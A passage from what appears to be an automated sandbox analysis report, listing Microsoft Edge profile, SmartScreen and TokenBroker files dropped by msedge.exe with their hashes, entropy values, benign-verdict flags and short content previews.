Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.001352315369317
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVgyM:YWLSGTt1o9LuLgfGBPAzkVj/T8lSd
MD5:	E478E167BD24BE0CF8A7647519D68BDD
SHA1:	AA724D819BBEEE4E97C96FB604FE341726025BA6
SHA-256:	9320F9001E448049A36564F1871FDCB2298AD799AF70AEEAEA31DBE574E9A5B3
SHA-512:	0628D3176A6A1FF47FC7E70D8EF4A42DFA4FEB950DDDB571EBDB79B0F979268CE04778ACAD854ABC488E3F4147AE7E960C519AE478D02E68434CC3B2D579FAAE
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730148870218081}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d5a6ee2f-acf5-45e8-8675-ab33222bd038.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45798
Entropy (8bit):	6.087917432265265
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9suVcu4hDO6vP6OhiTV8pQg55xWpcpYL+CAodGoup1Xl3jVf:mMk1rT8HR9suL6BiT3cp1Rodhu3VlXr3
MD5:	B6BAFF0AB226FB7AA7B5BEE223E2814F
SHA1:	BF509D21CE897E9DA6A3D1E1728BB0004C7683AE
SHA-256:	FAF89A12DEAB50D12F207B1579CE4968AFC390904095BCB4C4F7B15F36419FCC
SHA-512:	5FE891561068DAFF85DE595F6672096054508DFEDB499F74F528F7633A19B1E5B7C09D1B5CE8672DF72D3589DC6688E08BD243C7C992D963035A0E272E3C82EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e9f1daf9-8677-498c-a82f-ea8e80e2b517.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752170148598
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM2wuF9hDO6vP6O+atbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE46Ttbz8hu3VlXr4CRo1
MD5:	3B4D252F262E4A70D08B018C9C2DE80E
SHA1:	CFFABDBB01BB9F5B24096D2818067FC886223D3F
SHA-256:	ABBBAE1E64A7A1B3E34D81AB9E8DC68E0CF58725F03C29A5ABBE57DB3ACC9803
SHA-512:	FD1FFA28EEF4DD08550B2ED5D823B59A9D49F4BEAE24F65917C33F7CDFF83B40CF4B27AE4AC414EA334B571CD96BD3B839CA1E9D846A71037449F37E26C39A9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\eee2de7c-4ba4-4b08-a907-a0e4b1dfc8bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45875
Entropy (8bit):	6.0878509410726815
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQg49suVcu4hDO6vP6OhiTJ8pQg55xWpcpYL+CAodGoup1Xl3jVf:mMk1rT8HY9suL6BiTjcp1Rodhu3VlXr3
MD5:	F15C10C07BF964882EA441A4014AC184
SHA1:	0B8ABFB1F802B496C0FE947643EB095404A7E8CC
SHA-256:	1538990D133096F9FD79FFF4B6D76DD5E1DF3D961C221D7187F6D021504BAD07
SHA-512:	DB2AA1F8384FD6704F7FAFA367B9F417632EABC2FAB216D142640E0399E583F1548ACC50BCF1955B8DDE156BE302F3A8C6E9FA6031D557AFC10038386566A549
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f7b1beef-079c-4e7b-94f5-231c42e389e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45751
Entropy (8bit):	6.0881638463003
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9sufcu4hDO6vP6OhiTV8pQg55xWpcpYL+CAodGoup1Xl3jVf:mMk1rT8HR9suZ6BiT3cp1Rodhu3VlXr3
MD5:	A6DA712574B06AFAE12A0E8A0DF600B8
SHA1:	331B0D15B47851568392CBDEDAB57CE661E1C3AE
SHA-256:	0F168BCEC96E3164941FD04D9F91FBF5234A43B20D82BB280AEDCFDD4E1CEC04
SHA-512:	F99CB1022A86C074D1FC14E9A0435706E535AB1E19F1FF2AC2D40AA8458C7FB582DFD94384034E43D1C05B1EE55575D5B729CF03BB36FBEDA5370637531B0FF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.838648895014357
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxoxl9Il8uDCOfPVL22iQ2d0gsEHnjNHd1rc:mVYvPVLRm0On6
MD5:	49E633F9D35135134E984BCD811EC035
SHA1:	8B8B8E941496A22275169DEDA481FCB069838A64
SHA-256:	C8F3319AAA10B09BEFFC81679BA55C0341D8463A215484E7527260684B88891A
SHA-512:	9B4B9168E8FDA3EDC4E833FF7A39075BB53A758B8110E56812450AAD67DB79F32EA98978A0EE0C2C4CC71C20D6D84814F6783B611AB5B76104CEBA8BDB07FA50
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.j.7.R.J.k.o.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.